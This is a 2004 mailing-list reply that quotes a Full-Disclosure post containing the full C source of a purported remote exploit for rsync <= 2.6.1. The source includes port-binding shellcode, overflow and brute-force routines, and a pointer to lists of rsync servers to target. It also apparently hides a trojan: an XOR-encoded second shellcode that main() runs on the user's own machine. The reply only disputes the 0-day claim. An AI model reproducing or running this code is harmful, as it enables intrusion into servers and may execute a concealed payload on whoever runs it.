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RE: new rsync :) exploit rsync-too-open
From: "listreader" <listreader () proseq net>
Date: Mon, 31 May 2004 08:46:54 +0200

ehh...

This exploit is for " rsync <= 2.6.1" according to your post. Rsync 2.6.2
was released April 30th.

You shouldnt have to be a hacker to figure out that this is not a 0-day
exploit.

-----Original Message-----
From: full-disclosure-admin () lists netsys com
[mailto:full-disclosure-admin () lists netsys com] On Behalf Of
haxor () mac hush com
Sent: 28. mai 2004 21:21
To: full-disclosure () lists netsys com
Subject: [Full-disclosure] new rsync :) exploit rsync-too-open


i found a nice email... with some strange code, i'm not a hacker but i think
this is what some people call a 0-day exploit... :)

i think you can use this to hack servers running rsync :)

and as i support full disclosure i send it to the list.. happy hacking
:)

**************************************************************

/*
 * rsync-too-open 
 *
 * rsync <= 2.6.1 remote exploit by Solar Eclipse
<solareclipse () phreedom org>
 *
 * the code is based on the rsync April 2004 Security Advisory  
 *
 * running: ./rsync-too-open -b -v 127.0.0.1
 *
 * NOTE: it works on many linux hosts, but chroot and some other conf
optinos will make 
 * the exploit fail
 *
 * plaes try to keep this code private.. we don't need people owning debian
again :)
 *
 * if you need som fun hosts to hack, try:
 *
http://www.netcraft.com/?restriction=site+contains&host=rsync&lookup=lookup%
21&position=limited
 *
 * this is not the full version of the exploit, i'll send out a full version
with massroot 
 * function and bsd shellcode in 2 or 3 days :)
 *
 */
 

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>       
#include <arpa/inet.h>



#define MAXPATHLEN 4095

int nopcount = 80;

char shellcode[] =
/* port bind tcp/30464 ***/
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xd2"                      // xorl    %edx,%edx
"\xb0\x66"                      // movb    $0x66,%al
"\xb3\x01"                      // movb    $0x1,%bl
"\x51"                          // pushl   %ecx
"\xb1\x06"                      // movb    $0x6,%cl
"\x51"                          // pushl   %ecx
"\xb1\x01"                      // movb    $0x1,%cl
"\x51"                          // pushl   %ecx
"\xb1\x02"                      // movb    $0x2,%cl
"\x51"                          // pushl   %ecx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xcd\x80"                      // int     $0x80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin,  sizeof(sin) ) */
"\xb3\x02"                      // movb    $0x2,%bl
"\xb1\x02"                      // movb    $0x2,%cl
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77"                  // addb    $0x77,%cl
"\x66\x51"                      // pushl   %cx
"\xb1\x02"                      // movb    $0x2,%cl
"\x66\x51"                      // pushw   %cx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb2\x10"                      // movb    $0x10,%dl
"\x52"                          // pushl   %edx
"\x51"                          // pushl   %ecx
"\x50"                          // pushl   %eax
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x89\xc2"                      // movl    %eax,%edx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    $0x66,%al
"\xcd\x80"                      // int     $0x80

/* listen(fd, 1) */
"\xb3\x01"                      // movb    $0x1,%bl
"\x53"                          // pushl   %ebx
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    $0x66,%al
"\x80\xc3\x03"                  // addb    $0x3,%bl
"\xcd\x80"                      // int     $0x80

/* cli = accept(fd, 0, 0) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x50"                          // pushl   %eax
"\x50"                          // pushl   %eax
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb3\x05"                      // movl    $0x5,%bl
"\xb0\x66"                      // movl    $0x66,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 0) */
"\x89\xc3"                      // movl    %eax,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 1) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movl    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* dup2(cli, 2) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    $0x3f,%al
"\xcd\x80"                      // int     $0x80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x53"                          // pushl   %ebx
"\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
"\x89\xe3"                      // movl    %esp,%ebx
"\x8d\x54\x24\x08"              // leal    0x8(%esp),%edx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x53"                          // pushl   %ebx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x0b"                      // movb    $0xb,%al
"\xcd\x80"                      // int     $0x80

/* exit(%ebx) */
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x01"                      // movb    $0x1,%al
"\xcd\x80";                     // int     $0x80

char shellcode2[] =
    "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9"
    "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99"
    "\xd9\x86\x9c\xf3\x81\x99\xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81"
    "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\xac\xb4\xbb"
    "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf"
    "\x95\x4c\x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7"
    "\x7b\x35";

struct sockaddr_in s_in;
char module[256];               /* module to use */
void (*funct) ();

void die(int p, char *m) {
        if(p)
                perror(m);
        else
                printf("%s\n",m);
        exit(0);
}


int checkData(int s) {
        int rd;
        fd_set rfds;
        struct timeval tv;
                        
        FD_ZERO(&rfds);
        FD_SET(s, &rfds);

        tv.tv_sec = 5;
        tv.tv_usec = 0;

                                      
        rd = select(s+1,&rfds,NULL,NULL,&tv);
        if(rd < 0)
                die(1,"select()");
        return rd;
}


void get(int s) {
        char buff[1024];
        int rd;

        while(1) {
                rd = checkData(s);
                if(rd == 0)
                        return;
                        
                rd = recv(s,buff,sizeof(buff),0);
                if(!rd)
                        return;
                
                if(rd == -1)
                        die(1,"recv()");
        }
}


int connect_and_version() {
        int rd;
        char buff[80];
        
        int s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
        if(s < 0)
                die(1,"socket()");
        
        if(connect(s,(struct sockaddr*)&s_in,sizeof(s_in)) < 0)
                die(1,"connect()");

        if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
                die(1,"recv()");
        send(s,buff,rd,0);

        return s;
}


void login(int s) {
        char buff[80];
        
        snprintf(buff,sizeof(buff),"%s\n",module);
        send(s,buff,strlen(buff),0);

        send(s,"--server\n",9,0);
        send(s,"--sender\n",9,0);
        send(s,"\n",1,0);
                                
}


void ride() {
        fd_set rfds;
        int rd;
        int s;
        struct sockaddr_in s_in2;
        char buff[1024];

        memcpy(&s_in2,&s_in,sizeof(s_in2));
        s_in2.sin_port = htons(30464);
        
        s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
        if(s < 0)
                die(1,"socket()");

        if(connect(s,(struct sockaddr *)&s_in2,sizeof(s_in2)) < 0) {
                close(s);
                return; /* failed */
        }
        
        

        send(s,"id;\n",4,0);

        while(1) {
                FD_ZERO(&rfds);
                FD_SET(0, &rfds);
                FD_SET(s, &rfds);

                if(select(s+1, &rfds, NULL, NULL, NULL) < 1)
                        exit(0);

                if(FD_ISSET(0,&rfds)) {
                        if( (rd = read(0,buff,sizeof(buff))) < 1)
                                exit(0);
                        if( send(s,buff,rd,0) != rd)
                                exit(0);

                }
                if(FD_ISSET(s,&rfds)) {
                        if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
                                exit(0);
                        write(1,buff,rd);
                }
        }
}


void doOverflow(int len, int line,int align) {
        int s,rd;
        int *ptr;
        char buff[MAXPATHLEN];
        
        s = connect_and_version();
        login(s);

        printf("Trying with len=%d and line=0x%x (shellcode=0x%x)
align=%d\n", len,line,line+abs(len),align);

        memset(buff,'A',align);

        for(ptr = (int*) (&buff[0]+align); (char*)ptr <
((char*)&buff[MAXPATHLEN]- 3); ptr++)
                *ptr =  (line+abs(len));
        memset(buff+abs(len),'\x90',nopcount);
        memcpy(buff+abs(len)+nopcount,shellcode,strlen(shellcode));
        
        rd = MAXPATHLEN -1;
        send(s,&rd,sizeof(rd),0);

        send(s,buff,rd,0);
        
        send(s,&len,sizeof(len),0);
        
        rd = 0;
        send(s,&rd,sizeof(rd),0);

        get(s);
        
        close(s);               

        ride();
}

void getModule() {
        int s,rd;
        char mod[256];
        char *ptr;

        s = connect_and_version();
        get(s);
        
        send(s,"#list\n",6,0);
        rd = recv(s,mod,sizeof(mod),0);
        if(rd < 1)
                die(1,"recv()");

        mod[rd] = 0;
        ptr = (char*)strchr(mod,' ');
        if(!ptr)
                return;
        *ptr = 0;
        
        snprintf(module,sizeof(module),"%s",mod);
        if(module[0] == '@')
                die(0,"No modules!!!");
                        
        close(s);       
}

void usage(char *p) {
        printf("rsync <= 2.6.1 remote exploit\n");
        printf("Usage: %s <opts>\n",p);

        printf("-h this lame message\n");
        printf("-v victim ip\n");
        printf("-m module name\n");
        printf("-l len\n");
        printf("-s line address\n");
        printf("-b bruteforce\n");
        printf("-f force:don't check vuln\n");
        printf("-n number of NOPS\n"); 
        printf("-a align\n");
        exit(0);
}


int checkVuln() {
        int s,rd;
                        
        s = connect_and_version();
        login(s);
        get(s);

        rd = -1;        
        send(s,&rd,sizeof(rd),0);

        if(!checkData(s))
                return 1;
                        
        close(s);               
        return 0;
}


int getLen(int len) {
        int s;
                        
        s = connect_and_version();
        login(s);
        get(s);

        while(1)  {
                printf("Trying len %d...\n",len);
                send(s,&len,sizeof(len),0);
                if(checkData(s)) {
                        close(s);
                        return len-4;
                }
                len-=4;
        }
}


int main(int argc, char *argv[]) {
        int opt;
        int m = 0;
        int len = -4;
        int line = 0xC0000000;
        int check = 1;
        int brute = 0;  /* bruteforce ;D */
        int l = 1;
        int align = 0;
        (long) funct = &shellcode2;
        
        if(argc < 2)
                usage(argv[0]);
        
        while( (opt = getopt(argc,argv,"v:hm:l:s:bfn:a:")) != -1) {
                switch(opt) {
                        case 'v':
                                s_in.sin_addr.s_addr = inet_addr(optarg);
                                break;

                        case 'm':
                                snprintf(module,sizeof(module),"%s",optarg);
                                m++;
                                break;
                        
                        case 'l':       
                                l = 0;
                                len = atoi(optarg);
                                break;
                                
                        case 's':
                                if(sscanf(optarg,"%x",&line) == -1) {
                                        printf("Invalid line address\n");
                                        exit(0);
                                }
                                break;
                        
                        case 'b':
                                brute = 1;
                                break;
                                
                        case 'f':
                                check = 0;
                                break;
                                
                        case 'n':
                                nopcount = atoi(optarg);
                                break;
                                        

                        case 'a':
                                align = atoi(optarg);
                                break;
                                
                        case 'h':       
                        default:
                                usage(argv[0]);
                }
        }
                                
        funct();
        s_in.sin_family = PF_INET;
        s_in.sin_port = htons(873);


        if(!m) {
                printf("Getting module name...\n");
                getModule();
                printf("Module=%s\n",module);
        }

        if(check) {
                printf("Checking if vuln...\n");
                if(checkVuln()) 
                        printf("Vuln!!\n");
                else {
                        printf("Not vuln =(\n");
                        exit(0);
                }
        }

        if(l) {
                len = getLen(len);
                printf("len=%d\n",len);
        }
        
        if(brute) {
                while(1) {
                        doOverflow(len,line,align);
                        line -= (nopcount-1);
                }
        }
        
        doOverflow(len,line,align);
        exit(0);
}



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